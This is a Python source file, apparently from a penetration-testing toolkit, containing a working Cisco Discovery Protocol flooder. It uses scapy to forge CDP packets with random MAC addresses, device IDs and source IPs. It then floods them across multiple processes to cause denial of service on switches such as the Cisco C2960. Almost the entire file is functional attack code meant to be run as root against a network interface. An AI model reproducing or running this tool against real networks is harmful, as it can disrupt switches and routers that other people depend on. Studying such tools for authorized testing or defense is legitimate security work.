mgeeky-Penetration-Testing-.../networks/CDPFlooder.py
2018-02-23 01:15:44 +01:00

277 lines
10 KiB
Python
Executable File

#!/usr/bin/python
#
# Effective CDP Flooder reaching about 1.7-2.1MiB/s (6-7,5K pps) triggering Denial of Service
# on older network switches and routers like Cisco Switch C2960.
# (p.s. Yersinia reaches up to even 10-12MiB/s - 65K pps!)
#
# Python requirements:
# - scapy
#
# Mariusz B. / mgeeky, '18, <mb@binary-offensive.com>
#
import sys
import struct
import string
import random
import argparse
import multiprocessing
try:
from scapy.all import *
except ImportError:
print('[!] Scapy required: pip install scapy')
sys.exit(1)
VERSION = '0.1'
config = {
'verbose' : False,
'interface' : None,
'packets' : -1,
'processors' : 8,
'source' : '',
# CDP Fields
'cdp-platform' : 'Cisco 1841',
# Software version - at most 199 chars.
'cdp-software-version' : '''Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.3(11)T2, RELEASE SOFTWARE (fc1)
Copyright (c) 1986-2004 by Cisco Systems, Inc.
Compiled Thu 28-Oct-04 21:09 by cmong''',
# Interface taking up
'cdp-interface' : 'FastEthernet0/1',
}
stopThreads = False
#
# ===============================================
#
class Logger:
@staticmethod
def _out(x):
if config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def cdpDeviceIDgen(size=2, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
return ''.join(random.choice(chars) for x in range(size))
def generatePacket():
#
# Parts of this function were taken from source code of 'cdp_flooder.py' by Chris McNab
# Network Security Assessment: Know Your Network
#
softVer = config['cdp-software-version'][:199]
platform = config['cdp-platform'][:-4]
iface = config['cdp-interface']
deviceID = cdpDeviceIDgen(8)
srcIP = Net(config['source']).choice()
caps = random.randint(1, 65)
etherframe = Ether() #Start definition of Ethernet Frame
etherframe.dst = '01:00:0c:cc:cc:cc' #Set Ethernet Frame destination MAC to Ciscos Broadcast MAC
etherframe.src = RandMAC() #Set Random source MAC address
etherframe.type = 0x011e #CDP uses Type field for length information
llcFrame = LLC() #Start definition of Link Layer Control Frame
llcFrame.dsap = 170 #DSAP: SNAP (0xaa) IG Bit: Individual
llcFrame.ssap = 170 #SSAP: SNAP (0xaa) CR Bit: Command
llcFrame.ctrl = 3 #Control field Frame Type: Unumbered frame (0x03)
snapFrame = SNAP() #Start definition of SNAP Frame (belongs to LLC Frame)
snapFrame.OUI = 12 #Organization Code: Cisco hex(0x00000c) = int(12)
snapFrame.code = 8192 #PID (EtherType): CDP hex(0x2000) = int(8192)
cdpHeader = CDPv2_HDR() #Start definition of CDPv2 Header
cdpHeader.vers = 1 #CDP Version: 1 - its always 1
cdpHeader.ttl = 255 #TTL: 255 seconds
cdpDeviceID = CDPMsgDeviceID() #Start definition of CDP Message Device ID
cdpDeviceID.type = 1 #Type: Device ID hex(0x0001) = int(1)
cdpDeviceID.len = 4 + len(deviceID) #Length: 6 (Type(2) -> 0x00 0x01) + (Length(2) -> 0x00 0x0c) + (DeviceID(deviceIdLen))
cdpDeviceID.val = deviceID #Generate random Device ID (2 chars uppercase + int = lowercase)
cdpAddrv4 = CDPAddrRecordIPv4() #Start Address Record information for IPv4 belongs to CDP Message Address
cdpAddrv4.ptype = 1 #Address protocol type: NLPID
cdpAddrv4.plen = 1 #Protocol Length: 1
cdpAddrv4.proto = '\xcc' #Protocol: IP
cdpAddrv4.addrlen = 4 #Address length: 4 (e.g. int(192.168.1.1) = hex(0xc0 0xa8 0x01 0x01)
cdpAddrv4.addr = str(srcIP) #Generate random source IP address
cdpAddr = CDPMsgAddr() #Start definition of CDP Message Address
cdpAddr.type = 2 #Type: Address (0x0002)
cdpAddr.len = 17 #Length: hex(0x0011) = int(17)
cdpAddr.naddr = 1 #Number of addresses: hex(0x00000001) = int(1)
cdpAddr.addr = [cdpAddrv4] #Pass CDP Address IPv4 information
cdpPortID = CDPMsgPortID() #Start definition of CDP Message Port ID
cdpPortID.type = 3 #type: Port ID (0x0003)
cdpPortID.len = 4 + len(iface) #Length: 13
cdpPortID.iface = iface #Interface string
cdpCapabilities = CDPMsgCapabilities() #Start definition of CDP Message Capabilities
cdpCapabilities.type = 4 #Type: Capabilities (0x0004)
cdpCapabilities.len = 8 #Length: 8
cdpCapabilities.cap = caps #Capability: Router (0x01), TB Bridge (0x02), SR Bridge (0x04), Switch that provides both Layer 2 and/or Layer 3 switching (0x08), Host (0x10), IGMP conditional filtering (0x20) and Repeater (0x40)
cdpSoftVer = CDPMsgSoftwareVersion() #Start definition of CDP Message Software Version
cdpSoftVer.type = 5 #Type: Software Version (0x0005)
cdpSoftVer.len = 4 + len(softVer) #Length
cdpSoftVer.val = softVer
cdpPlatform = CDPMsgPlatform() #Statr definition of CDP Message Platform
cdpPlatform.type = 6 #Type: Platform (0x0006)
cdpPlatform.len = 4 + len(platform) #Length
cdpPlatform.val = platform #Platform
restOfCdp = cdpDeviceID / cdpAddr / cdpPortID / cdpCapabilities / cdpSoftVer / cdpPlatform
cdpGeneric = CDPMsgGeneric()
cdpGeneric.type = 0
cdpGeneric.len = 0
cdpGeneric.val = str(restOfCdp)
cdpGeneric2 = CDPMsgGeneric()
cdpGeneric2.type = struct.unpack('<H', platform[-4:-2])[0]
cdpGeneric2.len = struct.unpack('<H', platform[-2:])[0]
cdppacket = etherframe / llcFrame / snapFrame / cdpHeader / cdpGeneric / cdpGeneric2
return cdppacket
def flooder(num, packets):
Logger.info('Starting task: {}, packets num: {}'.format(num, len(packets)))
packetsGen = []
sock = conf.L2socket(iface = config['interface'])
sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 512)
for i in range(512):
packetsGen.append(generatePacket())
if len(packets) == 0:
while stopThreads != True:
try:
for p in packetsGen:
if stopThreads: raise KeyboardInterrupt
sock.ins.send(str(p))
except KeyboardInterrupt:
break
else:
for p in packets:
if stopThreads: break
try:
for pg in packetsGen:
if stopThreads: raise KeyboardInterrupt
sock.ins.send(str(pg))
except KeyboardInterrupt:
break
Logger.info('Stopping task: {}'.format(num))
sock.close()
def parseOptions(argv):
global config
print('''
:: CDP Flooding / Denial of Service tool
Floods the interface with fake, randomly generated CDP packets.
Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
v{}
'''.format(VERSION))
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
parser.add_argument('-n', '--packets', dest='packets', metavar='NUM', default=-1, type=int, help='Number of packets to send. Default: infinite.')
parser.add_argument('-s', '--source', metavar='SRC', default='0.0.0.0/0', help='Specify source IP address/subnet. By default: random IP from 0.0.0.0/0')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
cdp = parser.add_argument_group('CDP Fields', 'Specifies contents of interesting CDP fields in packets to send')
cdp.add_argument('--software', help = 'Software version')
cdp.add_argument('--platform', help = 'Device Platform')
cdp.add_argument('--cdpinterface', help = 'Device Interface')
args = parser.parse_args()
config['verbose'] = args.verbose
config['interface'] = args.interface
config['packets'] = args.packets
config['source'] = args.source
config['processors'] = multiprocessing.cpu_count()
if args.cdpinterface: config['cdp-interface'] = args.cdpinterface
if args.platform: config['cdp-platform'] = args.platform
if args.software: config['cdp-sofware-version'] = args.software
Logger.info('Will use {} processors.'.format(config['processors']))
return args
def main(argv):
global stopThreads
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
if os.getuid() != 0:
Logger.err('This program must be run as root.')
return False
load_contrib('cdp')
packetsLists = [[] for x in range(config['processors'])]
if config['packets'] > 0:
for i in range(config['packets']):
packetsLists[i % config['processors']].append(i)
jobs = []
for i in range(config['processors']):
task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i]))
jobs.append(task)
task.daemon = True
task.start()
print('[+] Started flooding. Press CTRL-C to stop that.')
try:
while jobs:
jobs = [job for job in jobs if job.is_alive()]
except KeyboardInterrupt:
stopThreads = True
print('\n[>] Stopping...')
stopThreads = True
time.sleep(3)
if __name__ == '__main__':
main(sys.argv)